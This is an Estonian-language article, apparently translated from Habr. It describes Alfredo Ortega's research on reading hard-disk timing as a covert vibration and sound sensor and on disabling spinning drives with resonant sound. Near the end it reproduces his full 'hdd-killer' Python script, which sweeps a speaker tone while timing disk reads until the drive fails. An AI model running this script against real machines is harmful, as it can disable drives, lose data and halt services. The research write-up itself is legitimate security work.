Miks te ei peaks kõvaketta peale karjuma?

Miks te ei peaks kõvaketta peale karjuma?

Arvutiturbe konverentsil Ekoparty 2017 Buenos Aireses näitas Argentina häkker Alfredo Ortega väga huvitavat arendust – süsteemi ruumide varjatud pealtkuulamiseks ilma mikrofoni kasutamata. Heli salvestatakse otse kõvakettale!

Kõvaketas tabab peamiselt kõrge intensiivsusega madala sagedusega helisid, samme ja muid vibratsioone. Inimkõnet ei saa veel ära tunda, kuigi teadlased viivad läbi sellesuunalisi uuringuid (kõnetuvastus madala sagedusega vibratsiooni abil, mis salvestatakse näiteks güroskoobist või HDD-lt).

Heli on õhu või muu keskkonna vibratsioon. Inimene tajub neid kuulmekile kaudu, mis edastab vibratsiooni sisekõrva. Mikrofon on disainitud umbes nagu kõrv – ka siin salvestab vibratsiooni õhuke membraan, mis ergastab elektriimpulsi. Kõvaketas on mõistagi allutatud ka mikroskoopilisele vibratsioonile, mis on tingitud ümbritseva õhu kõikumisest. Seda teatakse isegi kõvaketaste tehnilistest omadustest: tootjad märgivad enamasti ära maksimaalse lubatud vibratsioonitaseme ning kõvaketas ise üritab seda sageli asetada kummist või muust isoleermaterjalist vibratsioonikindlasse anumasse. Sellest on lihtne järeldada, et helisid saab salvestada HDD abil. Jääb vaid välja mõelda, kuidas.

Alfredo Ortega pakkus välja ainulaadse külgkanali rünnaku versiooni, nimelt ajarünnaku. See rünnak põhineb eeldusel, et olenevalt antud sisendandmetest tehakse seadmega erinevaid toiminguid erinevatel aegadel. Sel juhul on "sisendandmeteks" lugemispea ja HDD-plaadi vibratsioon, mis on korrelatsioonis keskkonna vibratsiooniga, see tähendab heliga. Seega saab arvutusaja mõõtmise ja andmete statistilise analüüsi abil mõõta pea/taldriku vibratsiooni ja seega ka kandja vibratsiooni. Mida pikem on andmete lugemise viivitus, seda tugevam on HDD vibratsioon ja seega ka valjem heli.

Kuidas mõõta kõvaketta vibratsiooni? Väga lihtne: lihtsalt käivitage süsteemikõne read () — ja salvestage täitmiseks kuluv aeg. Kaasaegsed operatsioonisüsteemid võimaldavad süsteemikõnede ajastust lugeda nanosekundi täpsusega.

Teabe lugemise kiirus sektorist sõltub pea ja taldriku asendist, mis on korrelatsioonis HDD korpuse vibratsiooniga. See on kõik.

Statistiline analüüs viiakse läbi lihtsa Kscope utiliidi abil. Nagu öeldakse, on kõik geniaalne lihtne.

Miks te ei peaks kõvaketta peale karjuma?
Utiliit Kscope (stat() syscall)

Kscope on väike utiliit süsteemikõnede täitmisaegade väikeste erinevuste visualiseerimiseks. Allikasavaldatud GitHubis.

Eraldi hoidlas HDD-aeg on utiliidi versioon, mis on konfigureeritud kõvakettale ajarünnakuks, st konfigureeritud süsteemikõne analüüsimiseks read ().

Kõvaketta abil helisalvestuse demonstreerimine, utiliidi Kscope kasutamine


Loomulikult ei saa kõnest niimoodi aru, kuid vibratsioonianduriks sobib HDD üsna hästi. Näiteks saate registreerida, kui kõvade jalanõudega või paljajalu inimene sisenes arvutiga tuppa (tõenäoliselt, kui ründajal on jalas pehmed tossud või põrandal on paks vaip, ei saa HDD vibratsiooni registreerida - seda tasub kontrollida). Arvuti suudab registreerida klaasikilde või muid tugeva heliintensiivsusega juhtumeid. See tähendab, et kõvaketas võib olla omamoodi volitamata sissetungi tuvastamise süsteem.

HDD tapja

Muide, sarnast tehnikat saab kasutada kõvaketaste keelamiseks. Ainult siin me ei eemalda HDD-lt võnkumisi, vaid vastupidi, tekitame võnkumisi, mis söödetakse HDD-le. Kui esitate kõlarist heli sagedusel, mis resoneerub HDD sagedusega, lülitab süsteem seadme peagi välja I/O veaga (Linux'i kernel lülitab HDD täielikult välja 120 sekundi pärast). Kõvaketas ise võib saada pöördumatuid kahjustusi.

Miks te ei peaks kõvaketta peale karjuma?
Linuxi tuum lülitas kõvaketta välja pärast 120-sekundilist heli edastamist Edifier r19u USB kõlari kõlari kaudu resonantssagedusel. Kõlar on sisse lülitatud umbes veerandi võimsusest (alla 100 mW) ja asub HDD-st 20 cm kaugusel ning on vibratsiooni suurendamiseks suunatud laua poole. Raam alates video HDD tapja demonstratsiooniga

On uudishimulik, et sellised kõvaketaste "rünnakud" juhtuvad mõnikord igapäevaelus täiesti juhuslikult. Näiteks 2016. aasta septembris oli ING panga andmekeskus sunnitud pärast tuletõrjeõppust oma tegevuse 10 tunniks peatama. Kümned kõvakettad on üles öelnud kõrge rõhu all balloonidest eralduva inertgaasi valju heli tõttu. Heli oli väga vali (üle 130 dB), kuid te ei saa isegi kõvaketaste peale karjuda - see suurendab HDD-le juurdepääsu viivitust.

Inimeste karjumise demonstratsioon andmekeskuse kõvaketaste peale. Latentsuse mõõtmine


Resoneeriva heli tekitamiseks kirjutas Alfredo Ortega Pythoni skripti nimega hdd-tapja (video demonstratsioon).

HDD tapja skript See on üsna väike, nii et saate selle siin tervikuna avaldada.

"""PyAudio hdd-killer: Generate sound and interfere with HDD """
"""Alfredo Ortega @ortegaalfredo"""
"""Usage: hdd-killer /dev/sdX"""
"""Where /dev/sdX is a spinning hard-disk drive"""
"""Turn the volume to the max for better results"""
"""Requires: pyaudio. Install with 'sudo pip install pyaudio' or 'sudo apt-get install python-pyaudio'"""

import pyaudio
import time
import sys
import math
import random

RATE=48000
FREQ=50

# validation. If a disk hasn't been specified, exit.
if len(sys.argv) < 2:
    print "hdd-killer: Attempt to interfere with a hard disk, using sound.nn" +
	  "The disk will be opened as read-only.n" + 
          "Warning: It might cause damage to HDD.n" +
          "Usage: %s /dev/sdX" % sys.argv[0]
    sys.exit(-1)

# instantiate PyAudio (1)
p = pyaudio.PyAudio()
x1=0
NEWFREQ=FREQ

# define audio synt callback (2)
def callback(in_data, frame_count, time_info, status):
    global x1,FREQ,NEWFREQ
    data=''
    sample=0
    for x in xrange(frame_count):
        oldsample=sample
        sample=chr(int(math.sin(x1*((2*math.pi)/(RATE/FREQ)))*127)+128)
        data = data+sample
        # continous frequency change
        if (NEWFREQ!=FREQ) and (sample==chr(128)) and (oldsample<sample) :
                FREQ=NEWFREQ
                x1=0
        x1+=1
    return (data, pyaudio.paContinue)

# open stream using callback (3)
stream = p.open(format=pyaudio.paUInt8,
                channels=1,
                rate=RATE,
                output=True,
                stream_callback=callback)

# start the stream (4)
stream.start_stream()

# wait for stream to finish (5)
while stream.is_active():
    timeprom=0
    c=file(sys.argv[1])
    for i in xrange(20):
        a=time.clock()
        c.seek(random.randint(0,1000000000),1) #attempt to bypass file buffer
        c.read(51200)
        b=time.clock()
        timeprom+=b-a
    c.close()
    timeprom/=20
    print("Frequency: %.2f Hz File Read prom: %f us" % (FREQ,timeprom*1000000))
    NEWFREQ+=0.5

# stop stream (6)
stream.stop_stream()
stream.close()

# close PyAudio (7)
p.terminate()

Allikas: www.habr.com

Lisa kommentaar